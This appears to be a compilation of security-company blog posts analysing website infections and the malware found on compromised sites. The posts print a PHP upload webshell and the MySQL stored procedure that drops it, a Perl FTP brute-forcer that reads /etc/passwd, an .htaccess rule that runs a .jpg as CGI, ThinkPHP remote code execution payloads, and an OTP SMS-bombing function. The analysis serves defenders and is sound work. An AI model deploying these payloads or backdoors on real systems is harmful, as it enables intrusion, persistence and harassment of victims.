Leveraging Stored Procedures for Nefarious Purposes

Here at Sucuri, we clean thousands of websites on a daily basis, and while some of them are easy to solve, others may require more investigation in order to find the root cause.

We’re used to seeing different causes of reinfections on web sites, which can be grouped into the following types:

        1 - Reuse of passwords: This scenario occurs when credentials are leaked after a site compromise. Attackers often leverage these leaked passwords to access other systems which may be using the same password.
        2 - Site vulnerabilities: Outdated and vulnerable software are a common cause of malware infections. It is important to keep plugins, themes, and CMS’ up-to-date at all times.
        3 - Shared server infections:. This scenario occurs when multiple websites are stored on the same server or FTP account and a compromise (or infection) occurs. If one website is infected, it’s very easy for the infection to spread to every website on the server.
        4 - A backdoor is still present in your site: Even if you’ve removed any visible malware, you might still have hidden backdoors that attackers can use to compromise and reinfect your site.

Technical Details

A website reinfection was occurring after a a file was repeatedly being added to WordPress core: “wp-includes/class-wp-change.php”

We made sure that all passwords were changed and not reused, reviewed users, checked all files, and ensured the environment wasn't prone to cross-contamination. Only one thing was left to check: the database.

We came across the following data inside of a table called "foo":

"<?php if(isset($_GET['good'])){if(isset($_FILES['im'])){$dim=getcwd().'/';$im=$_FILES['im'];
@move_uploaded_file($im['tmp_name'], $dim.$im['name']);
echo\"Done: \".$dim.$im['name'];}else{?><form method=\"POST\" enctype=\"multipart/form-data\"><
input type=\"file\" name=\"im\"/><input type=\"Submit\"/></form><?php }} ?>"

As you can see, it's a PHP code which loads a form that uploads a file into the server. But how is it loaded? Since we know that foo is not part of the WordPress database structure, how is it being called?

After checking the database a little deeper, we learned that the code was part of a mysql stored procedure that had been created during the site compromise, allowing attackers to maintain access to the environment.

Once executed, the stored procedure creates the table called “foo” with the malicious code. It then dumps the content into the file ‘wp-includes/class-wp-change.php’.

BEGIN
DROP TABLE IF EXISTS `foo`;
CREATE TABLE `foo` (`line` longtext) ENGINE = InnoDB;
INSERT INTO `foo` VALUES ("<?php if(isset($_GET['good']))et($_FILES['im'])){$dim=getcwd().'/';
$im=$_FILES['im'];@move_uploaded_file($im['tmp_name'], $dim.$im['name']);echo\"Done: $dim.$im['name'];}else{?><
form method=\"POST\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"im\"/><
input e=\"Submit\"/></form><?php }} ?>");
SELECT * FROM foo LIMIT 0,30 INTO DUMPFILE 
'/home/user/public_html/.website.wp-includes/class-wp-change.php';
DROP TABLE IF EXISTS `foo`;
END

Conclusion

Since it’s not a very popular feature, stored procedures can easily be overlooked by untrained professionals or inexperienced website owner. Investigating the root causes of an infection and going deeper to solve our clients problems is part of our job. If you need any assistance, please don't hesitate to find us.

Malware Infection from One Directory Up

Malicious code can reside anywhere on the site — not just in the web directory of the folder.

During a recent incident response, all pages of a customer’s site were getting redirected to random URLs, making the problem hard to isolate at first.

A good first step is to use a tool to perform an integrity check on your site's files. If you can identify that all files are good, the next step is to check the database. This isn't always an easy task, however.

The following code was found in one of the DB entries that stored PHP code for further execution:

<?php if(isset($_REQUEST['ghtre'])){include('/home/content/{USER_HOME_DIR}/1/data/wordpress'); exit;} ?>

As you can see, the code includes a file which is not in the webroot but in a directory one level up — and is missing an extension. This approach is taken to avoid detection.

The content it fetches varies the sites to which the visitor is redirected:

<?php
error_reporting(0);
$client = new Client;
if (isset($_GET["u"])) $client->proxy();
elseif (isset($_GET["chk"])) $client->check_availability();
elseif (isset($_POST["upd"])) $client->update_client();
elseif (isset($_GET["delcache"])||isset($_GET[""]))
 $client->delCache($_GET['delcache'], $_GET['delpage']);
if($content = $client->getContent()) echo $content;
else {usleep(500000); echo $client-> getContent();}
….. 

In conclusion, malware can sometimes operate from outside the web directories. For this reason, it’s very important to check and clean the entire environment to keep the site clean and avoid re-infections or cross-contaminations.

Hidding a hacktool using a .jpg extension

Hackers will do anything to hide their intentions behind the files they upload to compromised websites. This time, we’ve found a hacktool hidden inside a .jpg file.

As expected, the file was found inside the “images” directory of WordPress’ theme Twenty Twelve and named love.jpg. Lovely, right? By using this tool, the hacker would be able not only to manage, download, and upload files but even try to brute force the FTP users.

Below we can see part of the code used for the brute force option:

#------------------------------------------------------------------------------ 
# Brute Forcer Form 
#------------------------------------------------------------------------------ 
sub BruteForcerForm 
{ 
 my $result=""; 
 $result .= <<END; 

<table> 

<tr> 
<td colspan="2" align="center"> 
####################################<br> 
FTP brute forcer<br> 
Note: Only scan from 1 to 3 user<br> 
#################################### 
<form name="f" method="POST" action="$ScriptLocation"> 

<input type="hidden" name="a" value="bruteforcer"/> 
</td> 
</tr> 
<tr> 
<td>User:<br><textarea rows="18" cols="30" name="user"> 
END 
chop($result .= `less /etc/passwd | cut -d: -f1`); 
$result .= <<'END'; 
</textarea></td> 
<td> 

Pass:<br> 
<textarea rows="18" cols="30" name="pass">test 
test1 
test2 
test3 
test123 
test12 
1test 
2test 
3test 
12test 
123test 
2012test 
test2012 

The list of passwords goes on. We can see that the malicious code attempts the most common and weak passwords first to try to catch users who don’t implement strong credentials.

We also found this code inside the .htaccess file located in the same directory:

Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .jpg

The hacktool was written as a .cgi file, then disguised as a .jpg file to avoid appearing suspicious inside the image directory. The .htaccess code made sure to run the .jpg file as .cgi, so it could work as intended.

Hosting page templates causing your website ad campaign...

It's quite common that hosting providers have templates set for pages like 40x and 50x error pages but it's uncommon for those templates to have ads in them, or even worse, having malvertising that will blacklist your site.

On a recent case, we came across a scenario where Google AdWords was blocking a campaign of a website due to URLs from www[.]iyfipgun[.]com.

Upon closer inspection the URLs were coming from the template that the hosting provider had set for the 404 Not Found pages.This was the code:

<!DOCTYPE HTML>
<html>

    <head>
        <title>404 Error - Page Not Found</title>
        <style>
            #ad_frame{ height:800px; width:100%; }
            body{ margin:0; border: 0; padding: 0; }
        </style>
        <script src="//ajax.googleapis[.]com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>
        <script type="text/javascript" language="JavaScript">
            var url = 'hxxp://www[.]iyfipgun[.]com/?dn='
                + document.domain + '&pid=9POL6F2H4';

            $(document).ready(function() {
                $('#ad_frame').attr('src', url);
            });
        </script>
    </head>
    <body>
        <iframe id="ad_frame" src="hxxp://www[.]iyfipgun[.]com/"
            frameborder="0" scrolling="no">

            <!-- browser does not support iframe's -->

        </iframe>
    </body>

 </html>

If you are experiencing a similar report from any external providers such as AdWords, the template pages are the best place to start your investigation.

If this is indeed proven the culprit, a quick fix is to just force your own handle for certain pages on the .htaccess file such as:

ErrorDocument 404 "not found"

This means that it will simply display “not found” instead of showing the template page.

ThinkPHP 5.x – Remote Code Execution Actively Exploited...

Earlier this year, we noticed an increase in attacks aiming at ThinkPHP. ThinkPHP is a PHP framework that is very popular in Asia. If you keep track of your site’s activity, the following log may look familiar:

POST: /index.php?s=captcha HTTP/1.1
Data: _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=uname&ipconfig

In December 2018, a working exploit was released for the versions v5.0.23 and v5.1.31. Then, ThinkPHP team released a new version partially fixing the problem. Here is a snippet of the patch:

$method = strtoupper($_POST[Config::get('var_method')]); 
- $this->{$this->method}($_POST); 
+ if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) { 
+ $this->method = $method; 
+ $this->{$this->method}($_POST); 
+ } 

Remote Code Execution on ThinkPHP

Basically, they filtered the parameter method to only accept legit values since later on the code function filterValue() passes the filter parameter directly to the PHP function call_user_func() leading to a remote code execution (RCE). Unfortunately, after reversing the patch, attackers also found that reaching the filterValue() function is still possible with an even simpler payload:

data: a=system&b=id&_method=filter  (some important data and more payloads were skipped here)

Affected Versions of ThinkPHP

Versions 5.1.x/ 5.2.x are still affected and since there's no strict validation of user input, bots were programmed to use a new variety of payloads to evade WAFs and previous fixes.

Attackers are exploiting this vulnerability to upload cryptominers. The following is the most recent domains hosting malicious binaries:

hxxp:// love[.]thotiana.live/bins/x86[.]bot
hxxp:// fid[.]hognoob[.]se/download[.]exe

Conclusion

As always, we recommend keeping your software up to date and use a WAF as a second layer of protection since sometimes developers fall short of solving security issues.

Let us know if you see or suspect any weird behavior on your website and we will be happy to investigate and clean it for you.

Side Effects of the Site_url Hack

We\'ve been cleaning many sites infected by the so-called site_url hack–the result of the WP GDPR Compliance plugin vulnerability. The sites are broken because their static resource links point to some third party site. However, this is not the only issue.

If a user starts to make changes in their WordPress settings or some plugin regularly updates them, chances are the changes will be affected by the new value of the site_url option. In such cases, you’ll have to search the whole WordPress database (or at least the wp_options table) and files on the server for the rogue site_url value in order to revert the changes.****

For example, this is what your site’s .htaccess file may end up looking like after this hack:

# MediaAce Rules - Hotlink protection
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{REQUEST_URI} !/wp-content/plugins/media-ace/assets/hotlink-placeholder.png$
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?wtools.io/code/raw/so? [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?facebook\.com [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?google\.*$/.* [NC]
RewriteCond %{HTTP_REFERER} !^(http(s)?://)?(www\.)?pinterest\.*$/.* [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ hxxp://wtools[.]io/code/raw/so?/wp-content/plugins/media-ace/assets/hotlink-placeholder.png [NC,R,L]
</IfModule>

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /code/raw/so/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /code/raw/so/index.php [L]
</IfModule>

# END WordPress

As you can guess, in this case, hackers changed the site_url to hxxp://wtools[.]io/code/raw/so?, so the media-ace plugin and main WordPress rewrite rules were corrupted.

How Some OTP Systems Can Be Used to...

I recently came across an interesting index.php file and its corresponding directory on a compromised website. I loaded it in a testing environment and immediately it was apparent that this malicious PHP file was different than your average spam tool:


GUI for this spamming tool. *Note - the "No Telp" telephone number field and the "Jumlah SMS" number of SMS field.

This particular malicious file\'s GUI stood out because it would send SMS(text) messages to a user-specified cellular telephone number. This isn\'t a standard operating procedure for most of the spam campaigns that I have encountered over the years, as they try to target as many email addresses, or phone numbers, as possible to increase the attack surface and the probability of a successful delivery.

AA further analysis of the code within the malicious spam tool file revealed further information:

public function Verif()
    {
        $url = "https://www.tokocash.com/oauth/otp";
        $no = $this->no;
        $type = $this->type;
        if ($type == 1) {
            $data = "msisdn={$no}&accept=";
        }elseif ($type == 2) {
            $data = "msisdn={$no}&accept=call";
        }
        $send = $this->sendC($url, null, $data);
        // echo $send;
        if (preg_match('/otp_attempt_left/', $send)) {
                print('OTP berhasil Dikirim!<br>');
            } else {
                print('OTP Gagal Dikirim!<br>');
            }
    }

sendC is a function defined earlier that just constructs a cURL request with special headers

After checking this PHP file's code, it's clear that the SMS spam message isn't actually being sent from the web server hosting the compromised website. Instead, the PHP file's coding would be executed from the web page previously shown. Then it would submit a specially crafted cURL request (saved as function sendC) to an Indonesian website that had an authentication system utilizing a OTP feature. The request sent to this website's OTP system would include parameters in the URL that include the victim's phone number and whether to perform the OTP two-factor authentication via phone call or SMS text message.

Apparently, it turns out that this PHP script is nothing more than a "prank" spam tool that will just continuously send SMS or phone calls to the victim's phone number until the OTP system starts rejecting the requests. It's an interesting method of "prank" spam in regards to how the SMS message is sent out. It doesn't use the malicious user's server nor the compromised website's hosting server but rather abuses a legitimate TokoCash/Tokopedia's authentication service to bombard the phone number. Notice in the screenshot spamming tool, the word bom, which means "bomb" in Indonesian.

I reached out to this Indonesian website to inform them of the prank spam issue with their OTP system so that they can hopefully implement some access control security to harden the OTP from this type of abuse.